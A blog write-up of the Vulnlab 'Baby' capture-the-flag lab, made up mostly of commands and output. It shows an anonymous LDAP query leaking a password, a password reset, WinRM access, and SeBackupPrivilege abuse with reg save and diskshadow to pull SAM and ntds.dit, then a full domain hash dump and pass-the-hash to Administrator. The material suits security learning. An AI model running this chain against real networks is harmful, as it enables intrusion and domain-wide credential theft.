Baby - Vulnlab - Windows - Easy

Baby - Vulnlab - Windows - Easy

Sebin Thomas

Baby is an Easy windows machine from Vulnlab, in which we start with ldapsearch and get a users password from a description and after resetting that users password we will be able to login to winrm and setbackup priv is enabled for that user and we will dump sam and system from machine,

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
➜  Baby nmap -v -Pn 10.10.96.24                   
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-08 06:35 EDT
Initiating Parallel DNS resolution of 1 host. at 06:35
Completed Parallel DNS resolution of 1 host. at 06:35, 0.00s elapsed
Initiating SYN Stealth Scan at 06:35
Scanning 10.10.96.24 [1000 ports]
Discovered open port 139/tcp on 10.10.96.24
Discovered open port 135/tcp on 10.10.96.24
Discovered open port 3389/tcp on 10.10.96.24
Discovered open port 53/tcp on 10.10.96.24
Discovered open port 445/tcp on 10.10.96.24
Discovered open port 464/tcp on 10.10.96.24
Discovered open port 636/tcp on 10.10.96.24
Discovered open port 5357/tcp on 10.10.96.24
Discovered open port 389/tcp on 10.10.96.24
Discovered open port 593/tcp on 10.10.96.24
Discovered open port 3268/tcp on 10.10.96.24
Discovered open port 88/tcp on 10.10.96.24
Discovered open port 3269/tcp on 10.10.96.24
Completed SYN Stealth Scan at 06:35, 8.44s elapsed (1000 total ports)
Nmap scan report for 10.10.96.24
Host is up (0.16s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5357/tcp open wsdapi

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds
Raw packets sent: 1990 (87.560KB) | Rcvd: 16 (704B)
➜ Baby

Ldapsearch

Ldapsearch performs an anonymous LDAP query to the LDAP server at 10.10.96.24, searching for all available objects under the domain baby.vl.

1
➜  Baby ldapsearch -x -b "DC=baby,DC=vl" -H ldap://10.10.96.24 "*" | tee ldap_out

By grepping for “pass” in the output, we found a description revealing an initial password:

1
2
3
4
➜  Baby cat ldap_out | grep pass
description: Members in this group can have their passwords replicated to all
description: Members in this group cannot have their passwords replicated to a
description: Set initial password to `BabyStart123!`

Pass: BabyStart123!

Got a potential password, so checked if it works for any users. Using CME, got a hit on Caroline.Robinson:

1
2
➜  Baby cme smb 10.10.96.24 -u user.txt -p 'BabyStart123!' 
SMB 10.10.96.24 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE

I tested the password BabyStart123! using CME and found it valid for Caroline.Robinson, but the password had to be changed. Using smbpasswd, I updated it to Sebin#321.

1
2
3
4
5
6
➜  Baby smbpasswd -r 10.10.96.24 -U Caroline.Robinson
Old SMB password: BabyStart123!
New SMB password: Sebin#321
Retype new SMB password: Sebin#321
Password changed for user Caroline.Robinson
➜ Vulnlab

New password: Caroline.Robinson:Sebin#321

1
2
3
4
➜  Baby nxc winrm 10.10.96.24 -u Caroline.Robinson -p 'Sebin#321'
WINRM 10.10.96.24 5985 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl)
WINRM 10.10.96.24 5985 BABYDC [+] baby.vl\Caroline.Robinson:Sebin#321 (Pwn3d!)
➜ Baby

After that, i logged in via WinRM with the new password and got a shell.

User

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
➜  Baby evil-winrm -i 10.10.96.24 -u Caroline.Robinson -p 'Sebin#321'       

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> dir


Directory: C:\Users\Caroline.Robinson\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/21/2016 3:36 PM 527 EC2 Feedback.website
-a---- 6/21/2016 3:36 PM 554 EC2 Microsoft Windows Guide.website
-a---- 11/21/2021 3:24 PM 36 user.txt


*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> type user.txt
VL{b2c6150b85125xxxxxxxxb253df9540d898}
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop>

Root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> cd c:\

Caroline.Robinson has SeBackupPrivilege, which allows us to back up files, including the SAM and SYSTEM hives. These contain password hashes, which can be extracted to escalate privileges.

Using SeBackupPrivilege, we successfully backed up and downloaded the SAM and SYSTEM registry hives. These will allow us to extract password hashes for privilege escalation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> cd c:\
*Evil-WinRM* PS C:\> mkdir Temp


Directory: C:\


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/8/2024 10:59 AM Temp


*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> reg save hklm\sam c:\Temp\sam
The operation completed successfully.
*Evil-WinRM* PS C:\> reg save hklm\system c:\Temp\system
The operation completed successfully.
*Evil-WinRM* PS C:\temp> download system
Info: Downloading C:\temp\system to system
Info: Download successful!
*Evil-WinRM* PS C:\Temp> download sam
Info: Downloading C:\Temp\sam to sam
Info: Download successful!
*Evil-WinRM* PS C:\Temp>

After downloading the SAM and SYSTEM hives, we used impacket-secretsdump to extract password hashes. We successfully retrieved the NTLM hash for the Administrator account, which can be used for further privilege escalation.

1
2
3
4
5
6
7
8
9
10
11
➜  Baby impacket-secretsdump -sam sam -system system local 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...
➜ Baby

The extracted NTLM hash belongs to the local Administrator account, which means it won’t work for domain authentication. To gain access as a Domain Admin, we need to dump the ntds.dit file, which contains all domain user hashes. Since we have SeBackupPrivilege, we can leverage it to extract the NTDS database and escalate further.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  Baby evil-winrm -i 10.10.96.24 -u Administrator -H 8d992faed38128ae85e95fa35868bb43

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1
➜ Baby

Understanding Local vs. Domain NT Hashes in Windows Authentication

When dumping hashes from a Windows machine, you may extract credentials from two sources: SAM (Security Account Manager) and NTDS.dit (Active Directory database). While both contain NT hashes, they serve different authentication purposes.

  • SAM Hashes: Stored locally and used for non-domain accounts. These hashes cannot be used for domain authentication.
  • NTDS.dit Hashes: Contain credentials for Active Directory users. These hashes can be used for Pass-the-Hash (PtH) attacks on domain-joined machines.

If you can’t authenticate using a SAM-extracted hash but succeed with an NTDS.dit hash, it’s because domain authentication requires the NTDS.dit hash, while SAM hashes are only valid for local logins.

This diskshadow script creates a persistent shadow copy of the C: drive and mounts it as Z:, allowing access to sensitive files like ntds.dit. The unix2dos command converts a Unix-format text file to DOS/Windows format by replacing line endings (LF → CRLF), ensuring compatibility when transferring scripts to Windows systems.

1
2
3
4
5
6
7
8
➜  Baby unix2dos seb.dsh 
unix2dos: converting file seb.dsh to DOS format...
➜ Baby cat seb.dsh
set context persistent nowriters
add volume c: alias seb
create
expose %seb% z:
➜ Baby

.dsh file upload
.dsh exec
After running the script with DiskShadow, we successfully exposed the C: drive as Z: and retrieved the ntds.dit file, which contains Active Directory password hashes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Temp> ls
Directory: C:\Temp


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/8/2024 11:17 AM 613 2024-10-08_11-17-52_BABYDC.cab
-a---- 10/8/2024 10:33 AM 16777216 ntds.dit
-a---- 10/8/2024 11:00 AM 49152 sam
-a---- 10/8/2024 11:17 AM 84 seb.dsh
-a---- 10/8/2024 11:00 AM 16633856 system
*Evil-WinRM* PS C:\Temp> download ntds.dit

Info: Downloading C:\Temp\ntds.dit to ntds.dit

Info: Download successful!
*Evil-WinRM* PS C:\Temp>

Use impacket-secretsdump we can dump hashes of both domain and local.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
➜  Baby impacket-secretsdump -sam sam -system system -ntds ntds.dit local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:c5a0ca7d62d259a9ea9f907fc92b6375:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::
baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::
baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::
baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::
baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::
baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::
baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::
baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::
baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::
baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::
baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:5fa67a134024d41bb4ff8bfd7da5e2b5:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:ad08cbabedff5acb70049bef721524a23375708cadefcb788704ba00926944f4
Administrator:aes128-cts-hmac-sha1-96:ac7aa518b36d5ea26de83c8d6aa6714d
Administrator:des-cbc-md5:d38cb994ae806b97
BABYDC$:aes256-cts-hmac-sha1-96:b7ab21e82d7d818f6e0fef75c1d2786c06c2293d5145b3eee14ca2722cf275e7
BABYDC$:aes128-cts-hmac-sha1-96:b757d9d98daea8e8333d7f5e0233306d
BABYDC$:des-cbc-md5:a18c49fb837c295d
krbtgt:aes256-cts-hmac-sha1-96:9c578fe1635da9e96eb60ad29e4e4ad90fdd471ea4dff40c0c4fce290a313d97
krbtgt:aes128-cts-hmac-sha1-96:1541c9f79887b4305064ddae9ba09e14
krbtgt:des-cbc-md5:d57383f1b3130de5
baby.vl\Jacqueline.Barnett:aes256-cts-hmac-sha1-96:851185add791f50bcdc027e0a0385eadaa68ac1ca127180a7183432f8260e084
baby.vl\Jacqueline.Barnett:aes128-cts-hmac-sha1-96:3abb8a49cf283f5b443acb239fd6f032
baby.vl\Jacqueline.Barnett:des-cbc-md5:01df1349548a206b
baby.vl\Ashley.Webb:aes256-cts-hmac-sha1-96:fc119502b9384a8aa6aff3ad659aa63bab9ebb37b87564303035357d10fa1039
baby.vl\Ashley.Webb:aes128-cts-hmac-sha1-96:81f5f99fd72fadd005a218b96bf17528
baby.vl\Ashley.Webb:des-cbc-md5:9267976186c1320e
baby.vl\Hugh.George:aes256-cts-hmac-sha1-96:0ea359386edf3512d71d3a3a2797a75db3168d8002a6929fd242eb7503f54258
baby.vl\Hugh.George:aes128-cts-hmac-sha1-96:50b966bdf7c919bfe8e85324424833dc
baby.vl\Hugh.George:des-cbc-md5:296bec86fd323b3e
baby.vl\Leonard.Dyer:aes256-cts-hmac-sha1-96:6d8fd945f9514fe7a8bbb11da8129a6e031fb504aa82ba1e053b6f51b70fdddd
baby.vl\Leonard.Dyer:aes128-cts-hmac-sha1-96:35fd9954c003efb73ded2fde9fc00d5a
baby.vl\Leonard.Dyer:des-cbc-md5:022313dce9a252c7
baby.vl\Ian.Walker:aes256-cts-hmac-sha1-96:54affe14ed4e79d9c2ba61713ef437c458f1f517794663543097ff1c2ae8a784
baby.vl\Ian.Walker:aes128-cts-hmac-sha1-96:78dbf35d77f29de5b7505ee88aef23df
baby.vl\Ian.Walker:des-cbc-md5:bcb094c2012f914c
baby.vl\Connor.Wilkinson:aes256-cts-hmac-sha1-96:55b0af76098dfe3731550e04baf1f7cb5b6da00de24c3f0908f4b2a2ea44475e
baby.vl\Connor.Wilkinson:aes128-cts-hmac-sha1-96:9d4af8203b2f9e3ecf64c1cbbcf8616b
baby.vl\Connor.Wilkinson:des-cbc-md5:fda762e362ab7ad3
baby.vl\Joseph.Hughes:aes256-cts-hmac-sha1-96:2e5f25b14f3439bfc901d37f6c9e4dba4b5aca8b7d944957651655477d440d41
baby.vl\Joseph.Hughes:aes128-cts-hmac-sha1-96:39fa92e8012f1b3f7be63c7ca9fd6723
baby.vl\Joseph.Hughes:des-cbc-md5:02f1cd9e52e0f245
baby.vl\Kerry.Wilson:aes256-cts-hmac-sha1-96:db5f7da80e369ee269cd5b0dbaea74bf7f7c4dfb3673039e9e119bd5518ea0fb
baby.vl\Kerry.Wilson:aes128-cts-hmac-sha1-96:aebbe6f21c76460feeebea188affbe01
baby.vl\Kerry.Wilson:des-cbc-md5:1f191c8c49ce07fe
baby.vl\Teresa.Bell:aes256-cts-hmac-sha1-96:8bb9cf1637d547b31993d9b0391aa9f771633c8f2ed8dd7a71f2ee5b5c58fc84
baby.vl\Teresa.Bell:aes128-cts-hmac-sha1-96:99bf021e937e1291cc0b6e4d01d96c66
baby.vl\Teresa.Bell:des-cbc-md5:4cbcdc3de6b50ee9
baby.vl\Caroline.Robinson:aes256-cts-hmac-sha1-96:6fe5d46e01d6cf9909f479fb4d7afac0bd973981dd958e730a734aa82c9e13af
baby.vl\Caroline.Robinson:aes128-cts-hmac-sha1-96:f34e6c0c8686a46eea8fd15a361601f9
baby.vl\Caroline.Robinson:des-cbc-md5:fd40190d579138df
[*] Cleaning up...
➜ Baby

Now we got new hash of administrator from ntds.dit

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::

1
2
3
4
5
6
7
8
9
10
➜  Baby evil-winrm -i 10.10.96.24 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d                                

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

With the extracted NTLM hash, we successfully authenticated as the Administrator using Evil-WinRM, gaining full access to the target machine.

Reference

Windows Privilege Escalation - SeBackupPrivilege

  • Title: Baby - Vulnlab - Windows - Easy
  • Author: Sebin Thomas
  • Created at : 2025-02-20 13:46:00
  • Updated at : 2025-02-24 21:01:48
  • Link: https://0xsebin-blogs.vercel.app/2025/02/20/Baby/
  • License: All Rights Reserved © Sebin Thomas
Comments